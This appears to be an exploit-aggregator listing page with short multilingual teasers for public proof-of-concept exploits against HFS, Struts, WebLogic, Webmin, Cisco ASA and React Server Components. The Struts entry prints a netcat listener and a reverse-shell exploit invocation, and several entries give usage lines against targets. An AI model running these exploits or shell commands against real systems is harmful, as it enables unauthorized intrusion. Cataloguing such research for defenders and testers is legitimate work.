HFS2.3_poc

HFS2.3poc Esecuzione remota di codice non autenticata in HFS2.3 CVE-2024-23692 python HFS2.3poc.py -h root@kitploit: -. -. OO . OO . /. -. ,-.-'/. -. ,-.-' \ .' / | |OO\ .' / | |OO \ /\ | | \ \ /\ | | \ \ \ | | |/ \ \ | | |/ .' ,| |.' .' ,| |.' / .'. | | / .'. | | '--' '--' --' '--' '--' --'...

CVE-2022-41828

CVE-2022-41828 Amazon AWS Redshift JDBC-Treiber Remote Code Execution RCE Der Amazon JDBC-Treiber für Redshift ist ein Type 4 JDBC-Treiber, der Datenbankkonnektivität über die standardmäßigen JDBC-Anwendungsprogrammierschnittstellen APIs bereitstellt, die in der Java Platform, Enterprise Edition...

CVE-2023-50164-PoC

CVE-2023-50164 PoC This repository is a proof of concept PoC of the CVE-2023-50164 vulnerability. 1. About CVE-2023-50164 CVE-2023-50164 is a file path traversal vulnerability that occurs in Apache Struts web application. An attacker could exploit this vulnerability to upload malicious file...

Spring4Shell-Python-Firewall-POC

Firewall Python per la mitigazione di Spring4Shell CVE-2022-22965 1. Panoramica Questo progetto è un firewall semplice ma efficace implementato come Proof-of-Concept POC in Python. È progettato per fungere da server HTTP che ispeziona le richieste POST in arrivo per rilevare e bloccare il pattern...

cve-2010-1938

🚀 Exploit FTP Off-by-One CVE-2010-1938 Un semplice script Python per testare una vulnerabilità off-by-one nella libreria OPIE CVE-2010-1938. Questa vulnerabilità colpisce alcuni server FTP e può consentire Denial of Service DoS o esecuzione arbitraria di codice. 📜 Descrizione Questo script prende...

asa_tools

Verifica RCE Cisco ASA Questo script può essere utilizzato per verificare la presenza di CVE-2016-1287. Richiede python3 e il modulo python hexdump da installare root@kitploit: $ sudo pip3 install hexdump Può essere eseguito come segue root@kitploit: python3 cisco-asa.py IP.IP.IP.IP:port...

CVE-2025-4660

Description Un PoC per CVE-2025-4660, Forescout SecureConnector RCE forescoutredirect.py Questo è l'exploit stesso in cui puoi reindirizzare un agente verso un indirizzo IP specifico sotto il controllo dell'attaccante forescoutc2.py Una semplice implementazione di C2 che parla il linguaggio...

WebLogic-RCE-exploit

Questo repository non contiene un README...

CVE-2022-35411

rpc.py 0.6.0 - Esecuzione remota di codice RCE Exploit corretto da: Liquidsky...

CVE-2022-21445

CVE-2022-21445 Exploit - PoC Questo toolkit genera payload di exploit per CVE-2022-21445, una vulnerabilità critica di deserializzazione Java che colpisce Oracle WebLogic Server 12.2.1.x con Oracle ADF Faces. La falla risiede nel componente RemoteApplicationResourceLoader e permette a un attaccan...

CVE-2024-28397-js2py-Sandbox-Escape

CVE-2024-28397-js2py-Sandbox-Escape Analisi della vulnerabilità js2py Introduzione js2py è un popolare pacchetto Python in grado di valutare codice JavaScript all'interno dell'interprete Python. Viene utilizzato da vari web scraper per analizzare il codice JavaScript presente nei siti web. Esiste...

CVE-2018-11776

CVE-2018-11776 Umgebung für CVE-2018-11776 / S2-057 Demo Server starten root@kitploit: $ docker run -d --hostname struts2 --name cve-2018-11776 -p 30080:8080 knqyf263/cve-2018-11776 Exploit root@kitploit: $ nc -l 10000 or nc -lp 10000 root@kitploit: $ python3 exploit.py localhost:30080 'bash -i &...

Chakra-CVE-2019-0567

Chakra-CVE-2019-0567 chakracore फ्रेमवर्क में एक टाइप कन्फ्यूज़न बग का POC जो कोड निष्पादन की ओर ले जाता है। कॉनर मैकगैर के ब्लॉग पर आधारित https://connormcgarr.github.io/ नोट: Offsets और ROP gadgets आपके द्वारा उपयोग किए जाने वाले विंडोज संस्करण पर निर्भर करते हैं, इसलिए यह आपके लिए काम नहीं कर...

CVE-2022-22947

CVE-2022-22947 PoC per CVE-2022-22947 python CVE-202222947POC.py http://targetip:port/ Riferimenti a PoC e articoli di diversi esperti 1.https://github.com/chaosec2021/CVE-2022-22947-POC 2.https://y4er.com/post/cve-2022-22947-springcloud-gateway-spel-rce-echo-response/...

react2shell-interactive

React2Shell - CVE-2025-55182 PoC Interattivo Shell interattivo per sfruttare CVE-2025-55182, una vulnerabilità di Remote Code Execution nei React Server Components. Disclaimer Questo strumento è fornito esclusivamente per scopi EDUCATIVI e di TEST DI SICUREZZA AUTORIZZATI. Usalo solo su sistemi d...

CVE-2026-38526-PoC

CVE-2026-38526 | Krayin CRM v2.2.x Authentifizierte RCE - Uneingeschränkter PHP-Datei-Upload über TinyMCE Beschreibung CVE-2026-38526 ist eine kritische authentifizierte Remote-Codeausführungs-Schwachstelle, die Webkul Krayin CRM v2.2.x betrifft. Die Schwachstelle existiert im...

CVE-2019-15107

CVE-2019-15107 Webmin 1.890 Esecuzione di codice remoto non autenticata Questo script è progettato per sfruttare la vulnerabilità di esecuzione di comandi non autenticata in Webmin 1.890. Ti permette di eseguire comandi arbitrari su un server Webmin target o di ottenere una shell inversa. Utilizz...

CVE-2024-31982

CVE-2024-31982 Java SSTI - führt zu RCE root@kitploit: async async=falsegroovyprintln"Successful Injection"/groovy/ root@kitploit: GET...

CVE-2025-55182-Exploit

React2Shell CVE-2025-55182 - Laboratorio Vulnerabile Docker Un'applicazione Next.js intenzionalmente vulnerabile che dimostra l'esecuzione di codice remoto RCE tramite gestione insicura dei processi figlio. Questo laboratorio è progettato per scopi educativi e test di sicurezza. ⚠️ AVVISO: NON...

CVE-2025-31324

Informazioni ░█▄█░█▀█░█░█░█░█░█░█░▀█▀░█▀█░█▀█░█▀▄░█░█ ░█░█░█▀▀░█░█░█░█░█▄█░░█░░█░█░█░█░█▀▄░░█░ ░▀░▀░▀░░░▀▀▀░▀▀▀░▀░▀░▀▀▀░▀░▀░▀░▀░▀░▀░░▀░ N U L L T R A C E // NullTrace :: Nessun log. Nessun rumore. Solo segnale. // ----- FIRMA----- Chiave: ssh-rsa AAAAB3...NullKey...KFA== Impronta:...